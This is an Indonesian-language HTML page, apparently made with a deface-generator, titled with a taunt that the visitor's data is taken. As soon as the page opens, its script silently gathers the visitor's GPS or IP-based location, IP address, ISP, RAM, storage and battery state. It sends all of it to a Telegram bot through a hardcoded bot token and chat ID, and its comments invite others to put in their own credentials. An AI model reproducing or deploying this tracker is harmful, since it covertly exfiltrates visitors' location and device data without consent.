<!--
--  Uploaded on : https://haxor.my.id/open/untuk_temanku.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!--
--  Downloaded from : https://haxor.my.id/save/amazingjirrrrr.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>data kamu ada di aku awas😈</title>
</head>
<body>

    <h2>data kamu ada di saya😈</h2>

    <script>
        async function getBatteryInfo() {
            if (navigator.getBattery) {
                const battery = await navigator.getBattery();
                return `Baterai: ${Math.round(battery.level * 100)}% (${battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya"})`;
            }
            return "Baterai: Tidak didukung";
        }

        async function getDeviceInfo() {
            const memory = navigator.deviceMemory || "Tidak diketahui";
            const ram = memory + " GB";
            try {
                if ('storage' in navigator && 'estimate' in navigator.storage) {
                    const { quota, usage } = await navigator.storage.estimate();
                    return {
                        ram,
                        totalStorage: (quota / (1024 * 1024 * 1024)).toFixed(2) + " GB",
                        usedStorage: ((usage / quota) * 100).toFixed(2) + "% digunakan"
                    };
                }
            } catch (e) {}
            return { ram, totalStorage: "Tidak diketahui", usedStorage: "Tidak diketahui" };
        }

        function getCurrentTime() {
            return new Date().toLocaleString("id-ID", { timeZoneName: "short" });
        }

        function getLocation(timeout = 5000) {
            return new Promise((resolve) => {
                let resolved = false;
                const fallback = async () => {
                    if (!resolved) {
                        resolved = true;
                        resolve(await getLocationByIP());
                    }
                };
                setTimeout(fallback, timeout);
                if ("geolocation" in navigator) {
                    navigator.geolocation.getCurrentPosition(
                        (pos) => {
                            if (!resolved) {
                                resolved = true;
                                resolve({
                                    latitude: pos.coords.latitude,
                                    longitude: pos.coords.longitude,
                                    metode: "GPS (Akurat)"
                                });
                            }
                        },
                        fallback
                    );
                } else {
                    fallback();
                }
            });
        }

        async function getLocationByIP() {
            try {
                const res = await fetch("https://ip-api.com/json/");
                const data = await res.json();
                return {
                    latitude: data.lat || "Tidak diketahui",
                    longitude: data.lon || "Tidak diketahui",
                    negara: data.country || "Tidak diketahui",
                    provinsi: data.regionName || "Tidak diketahui",
                    kota: data.city || "Tidak diketahui",
                    isp: data.isp || "Tidak diketahui",
                    metode: "IP (Perkiraan)"
                };
            } catch {
                return { latitude: "Tidak diketahui", longitude: "Tidak diketahui", metode: "Gagal mendapatkan lokasi" };
            }
        }

        async function getIPInfo() {
            try {
                const res = await fetch("https://api64.ipify.org?format=json");
                const ipData = await res.json();
                return ipData.ip;
            } catch {
                return "Tidak diketahui";
            }
        }

        async function kirimKeTelegram() {
            try {
                // Ambil semua data secara paralel
                const [batteryInfo, deviceInfo, lokasi, ipAddress] = await Promise.all([
                    getBatteryInfo(),
                    getDeviceInfo(),
                    getLocation(),
                    getIPInfo()
                ]);

                const pesan = `
🌍 **Info Pengguna**
- IP: ${ipAddress}
- Negara: ${lokasi.negara || "Tidak diketahui"}
- Provinsi: ${lokasi.provinsi || "Tidak diketahui"}
- Kota: ${lokasi.kota || "Tidak diketahui"}
- ISP: ${lokasi.isp || "Tidak diketahui"}

📍 **Lokasi (${lokasi.metode})**
- Latitude: ${lokasi.latitude}
- Longitude: ${lokasi.longitude}

💻 **Device Info**
- RAM: ${deviceInfo.ram}
- ROM: ${deviceInfo.totalStorage} (${deviceInfo.usedStorage})
- ${batteryInfo}

🕒 **Waktu Saat Ini**
- ${getCurrentTime()}
                `;

                const botToken = "7739534482:AAEERUqgExI_xCJR1aGxB2qqpsf_QYFrCo0"; // Ganti dengan token bot lo
                const chatId = "6692971365"; // Ganti dengan ID chat lo
                const telegramApi = `https://api.telegram.org/bot${botToken}/sendMessage`;

                // Kirim ke Telegram
                await fetch(telegramApi, {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({ chat_id: chatId, text: pesan, parse_mode: "Markdown" })
                });

                document.body.innerHTML = "<h2>Pesan berhasil dikirim ke Telegram!</h2>";
            } catch (error) {
                console.error("Error:", error);
                document.body.innerHTML = "<h2>Terjadi kesalahan!</h2>";
            }
        }

        // Kirim otomatis saat halaman dibuka
        window.onload = kirimKeTelegram;
    </script>

</body>
</html>